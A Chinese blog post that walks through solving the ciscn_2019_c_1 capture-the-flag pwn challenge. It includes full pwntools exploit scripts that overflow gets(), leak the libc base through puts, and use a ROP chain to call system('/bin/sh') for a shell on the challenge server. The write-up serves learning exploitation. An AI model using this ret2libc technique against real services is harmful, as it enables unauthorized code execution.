ciscn_2019_c_1


一、查看文件

file ciscn_2019_c_1查看文件格式:

在这里插入图片描述
checksec ciscn_2019_c_1 查看文件保护:
在这里插入图片描述
64位,NX与ASLR都开启了,不白给了

二、IDA反编译

我们发现两个主要函数:
main:
在这里插入图片描述
在这里插入图片描述
encrypt():
在这里插入图片描述

然而没有发现callsystem后门函数,开了NX需要自己构造ROP链。
基本思路:encrypt()里面的get()可以溢出,栈大小为50h。puts()可以用来泄露libc基址。

发现Get函数存在溢出点offest=0x50+8

在这里插入图片描述
我们通过Ropgadget找到pop_rdi_rdi地址:0x400c83
在这里插入图片描述

三、代码构建

exp:

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline("1")
r.recvuntil("encrypted\n")
p=flat("a"*0x58)+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil("Ciphertext\n")
r.recvuntil("\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)

Libc基址:
在这里插入图片描述

继续构建:

from pwn import*
from LibcSearcher import *
r=remote("node4.buuoj.cn",26336)
elf=ELF("./ciscn_2019_c_1")
ret=0x400c83
plt=elf.plt['puts']
got=elf.got['puts']
main_addr=0x400B28
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
p=b"a"*0x58+p64(ret)+p64(got)+p64(plt)+p64(main_addr)
r.sendline(p)
r.recvuntil(b"Ciphertext\n")
r.recvuntil(b"\n")
addr=u64(r.recv(6).ljust(0x8,b"\x00"))
libc=LibcSearcher("puts",addr)
libcbase=addr-libc.dump("puts")
print(libcbase)
r.recv()
r.sendline(b"1")
r.recvuntil(b"encrypted\n")
sys_addr=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
res=0x4006b9
p1=b"a"*0x58+p64(res)+p64(ret)+p64(bin_sh)+p64(sys_addr)
r.sendline(p1)
r.interactive()

这一步之后就可以得到flag了
直接cat flag:
在这里插入图片描述
但是我在这里遇到了这样的问题:
timeout: the monitored command dumped core
这时候他不是有很多的选择吗:
在这里插入图片描述
我们换个选择试试就可以了


总结

真就磨人呐,今天碰见三种不同题型,栓Q了。

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

长街395

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值